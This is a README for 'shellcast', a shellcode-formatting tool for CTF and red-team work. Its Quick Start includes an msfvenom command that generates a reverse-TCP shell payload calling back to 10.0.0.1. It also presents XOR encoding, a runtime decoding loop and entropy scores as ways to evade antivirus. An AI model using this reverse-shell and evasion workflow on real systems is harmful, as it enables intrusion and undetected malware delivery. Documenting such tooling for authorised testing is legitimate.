shellcast

Convert raw shellcode into any target format — C, Python, PowerShell, Rust, Go, C#, and more — with bad-byte detection, encoding schemes, and entropy analysis. From a file or stdin.

---

The Problem

Every time you work with shellcode from msfvenom, a custom stub, or a CTF challenge you end up rewriting the same throwaway reformatting script. ShellNoob exists but hasn't been touched since 2014, requires gcc/as/objdump, and has no PyPI package. Sickle is powerful but has no encoding support and no pip install.

shellcast is the modern replacement: zero dependencies, pipe-friendly, 11 output formats, multiple encoding schemes, and entropy analysis in one focused tool.

---

Installation

pip install shellcast

Requires Python 3.10+. No external dependencies.

Or run without installing:

python3 -m shellcast payload.bin --format c

---

Quick Start

# pipe directly from msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw | shellcast --format c

# multiple formats at once
shellcast payload.bin --format c,python,powershell,rust

# check for bad bytes before embedding
shellcast payload.bin --avoid 00,0a,0d --format c

# XOR encode then format
shellcast payload.bin --encode xor:0xAB --format c,csharp

# full analysis in one shot
shellcast payload.bin --info --entropy --badchar-scan --format c

Replace payload.bin with your actual payload

---

Usage

Input

# from a raw binary file
shellcast payload.bin --format c

# from stdin
cat payload.bin | shellcast --format python

# from a hex string
shellcast --hex "fc4883e4f0" --format c
shellcast --hex "\xfc\x48\x83\xe4\xf0" --format c

# use a built-in test payload (no msfvenom needed)
shellcast --test-payload windows/x64/exec --format c
shellcast --test-payload linux/x64/shell --format python

Output Formats

Flag	Language	Use case
c	C / C++	Loader development, exploit PoCs
python	Python	CTF scripts, exploit frameworks
powershell	PowerShell	Windows red team loaders
csharp	C#	.NET loaders, Cobalt Strike BOFs
rust	Rust	Modern loader development
go	Go	Cross-platform loaders
java	Java	JVM-based exploit delivery
javascript	JavaScript	Browser-based payloads
bash	Bash	Shell script delivery
base64	—	Transport and obfuscation
hex	—	Debuggers, hex editors, other tools

# single format
shellcast payload.bin --format python

# multiple formats in one shot
shellcast payload.bin --format c,python,powershell,rust,go

# rename the output variable
shellcast payload.bin --format c --var buf

# write to file instead of stdout
shellcast payload.bin --format c -o payload.c

Encoding

# XOR with key
shellcast payload.bin --encode xor:0xAB --format c

# bitwise NOT
shellcast payload.bin --encode not --format python

# ADD with key (wraps at 256)
shellcast payload.bin --encode add:0x05 --format c

# SUB with key (wraps at 0)
shellcast payload.bin --encode sub:0x05 --format c

# reverse byte order
shellcast payload.bin --encode rev --format hex

The loader should decode at runtime before execution. XOR example in C:

for (int i = 0; i < shellcode_len; i++)
    shellcode[i] ^= 0xAB;

Bad Byte Detection

Bad bytes are bytes that break shellcode delivery depending on context.

Byte	Why it is dangerous
0x00	Null terminator -> truncates C strings at strcpy, strlen, gets
0x0a	Newline -> breaks line-based input functions like fgets, scanf
0x0d	Carriage return -> stripped by Windows line ending parsers
0x20	Space -> breaks whitespace-tokenized input and CLI arguments

# warn if specific bytes are present (non-fatal, output still produced)
shellcast payload.bin --avoid 00,0a,0d --format c

# scan all bytes and auto-flag universally dangerous ones
shellcast payload.bin --badchar-scan

Bad byte warnings go to stderr. Formatted output still goes to stdout. Pipe 2>/dev/null to suppress warnings cleanly.

Entropy Analysis

Shannon entropy measures how random your payload looks to AV scanners.

Score	Meaning
0.0 – 6.5	Normal range — typical shellcode
6.5 – 7.5	Elevated — monitor
7.5 – 8.0	High — likely flagged by AV entropy detection

shellcast payload.bin --entropy --format c

Full Metadata

shellcast payload.bin --info --format c

Output:

[*] Size:     511 bytes
[*] Entropy:  5.84 / 8.00  (normal range)
[*] Encoding: xor:0xab
[*] Formats:  c

---

Compared to Alternatives

Feature	shellcast	ShellNoob	Sickle-PDK
pip install	✅	❌	❌
Zero dependencies	✅	❌	❌
Multi-format one shot	✅	❌	❌
Encoding schemes	✅	❌	❌
Bad byte detection	✅	❌	✅
Entropy analysis	✅	❌	❌
Pipe friendly	✅	✅	✅
Last updated	Currently Active	2014	Active
Formats	11	12	20+

---

Contributing

Issues and pull requests are welcome. Keep changes focused, this tool is intentionally small. For feature ideas that extend scope, open a discussion before writing code.

If you add a new output format, include a test in tests/test_formats.py.

---

License

MIT